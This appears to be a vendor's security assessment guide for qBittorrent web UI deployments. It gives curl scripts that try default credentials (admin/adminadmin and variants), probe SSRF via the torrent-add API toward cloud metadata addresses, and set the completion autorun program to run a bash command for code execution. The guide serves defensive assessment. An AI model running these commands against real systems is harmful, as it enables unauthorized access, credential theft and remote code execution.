qBittorrent is the most widely deployed self-hosted torrent client with a web interface, serving as the download backend for Sonarr, Radarr, and other *arr applications. Its security impact extends to the host filesystem because it writes all downloaded content and can execute programs after completion: qBittorrent's web UI defaults to admin/adminadmin as the password until explicitly changed — older versions also allowed unauthenticated access on localhost; qBittorrent's REST API accepts a urls parameter for adding torrents, which causes the server to make an outbound HTTP request to fetch the torrent file — this is SSRF; qBittorrent's "Run external program on torrent completion" setting executes an arbitrary command with the torrent completion details as arguments, providing a code execution path from anyone who has API access; and qBittorrent's download save path configuration determines where files are written on the host filesystem. This guide covers systematic qBittorrent security assessment.
# qBittorrent Web UI — default credentials admin/adminadmin
QB_URL="https://qbittorrent.example.com"
# Test default credentials
LOGIN_RESULT=$(curl -s -c /tmp/qb_cookies.txt \
-X POST "${QB_URL}/api/v2/auth/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Referer: ${QB_URL}" \
-d "username=admin&password=adminadmin" 2>/dev/null)
echo "Default admin/adminadmin: ${LOGIN_RESULT}"
# "Ok." = successful login, "Fails." = wrong credentials
# Test other common defaults
for CREDS in "admin:admin" "admin:password" "qbittorrent:qbittorrent"; do
USER=$(echo "$CREDS" | cut -d: -f1)
PASS=$(echo "$CREDS" | cut -d: -f2)
RESULT=$(curl -s -c /tmp/qb_cookies_test.txt \
-X POST "${QB_URL}/api/v2/auth/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Referer: ${QB_URL}" \
-d "username=${USER}&password=${PASS}" 2>/dev/null)
echo "${USER}:${PASS} -> ${RESULT}"
done
# Get application preferences (requires authentication)
curl -s "${QB_URL}/api/v2/app/preferences" \
-H "Cookie: $(cat /tmp/qb_cookies.txt | grep SID | awk '{print "SID="$7}')" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Save path: {d.get(\"save_path\")}')
print(f'Max active torrents: {d.get(\"max_active_torrents\")}')
print(f'External program enabled: {d.get(\"autorun_enabled\")}')
print(f'External program: {d.get(\"autorun_program\")}')
print(f'Bypass auth on localhost: {d.get(\"bypass_local_auth\")}')
" 2>/dev/null
# qBittorrent torrent URL — server makes outbound HTTP request to fetch torrent file
QB_URL="https://qbittorrent.example.com"
SID_COOKIE="SID=your-session-id"
# Add torrent via URL — qBittorrent server fetches the URL
# This creates SSRF: the server makes an outbound GET to the provided URL
SSRF_TARGETS=(
"http://169.254.169.254/latest/meta-data/"
"http://metadata.google.internal/computeMetadata/v1/"
"http://127.0.0.1:8080/"
"http://localhost:8080/api/v2/app/preferences"
)
for TARGET in "${SSRF_TARGETS[@]}"; do
echo "Testing SSRF: ${TARGET}"
curl -s -X POST "${QB_URL}/api/v2/torrents/add" \
-H "Cookie: ${SID_COOKIE}" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "urls=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${TARGET}'))")" 2>/dev/null
done
# qBittorrent external program on completion — arbitrary command execution
# When a torrent completes, qBittorrent runs the configured command
QB_URL="https://qbittorrent.example.com"
SID_COOKIE="SID=your-session-id"
# Check if external program feature is enabled
curl -s "${QB_URL}/api/v2/app/preferences" \
-H "Cookie: ${SID_COOKIE}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
enabled = d.get('autorun_enabled', False)
program = d.get('autorun_program', '')
print(f'External program enabled: {enabled}')
print(f'Configured program: {program}')
# Program can contain: %N (torrent name), %L (category), %T (tracker),
# %I (hash), %D (save path), %F (content path)
" 2>/dev/null
# With admin access, configure the external program to execute arbitrary commands
# This turns API access into code execution on the qBittorrent host
curl -s -X POST "${QB_URL}/api/v2/app/setPreferences" \
-H "Cookie: ${SID_COOKIE}" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'json={"autorun_enabled": true, "autorun_program": "/bin/bash -c \"id > /tmp/pwned\""}' 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Default admin/adminadmin credentials | POST /api/v2/auth/login with username=admin&password=adminadmin — "Ok." response confirms login; session cookie provides full Web UI and API access including preferences modification | Critical |
| Torrent URL SSRF | POST /api/v2/torrents/add with urls=http://169.254.169.254/... — qBittorrent server makes outbound GET to fetch the torrent file; SSRF to cloud metadata and internal services | High |
| External program code execution on completion | POST /api/v2/app/setPreferences with autorun_program set to arbitrary command — command executes on qBittorrent host when any torrent download completes, with qBittorrent service account privileges | Critical (requires API access) |
| Unauthenticated access via localhost bypass | Requests from 127.0.0.1 bypass authentication when bypass_local_auth=true — any service on the same host can access qBittorrent without credentials; exploitable if another service on the host has SSRF | High |
| Torrent content path traversal via save path | GET /api/v2/app/preferences — reveals save_path; combined with write access (add torrent with crafted content path) may allow writing to arbitrary filesystem locations depending on save path restrictions | Medium |
Ironimo tests qBittorrent deployments for default admin/adminadmin credentials and common password variants, torrent URL SSRF via the add torrent API endpoint, external program on completion code execution risk assessment, localhost authentication bypass configuration, Web UI version disclosure for known CVE matching, download save path security review, and CSRF vulnerability testing for older qBittorrent versions.
Start free scan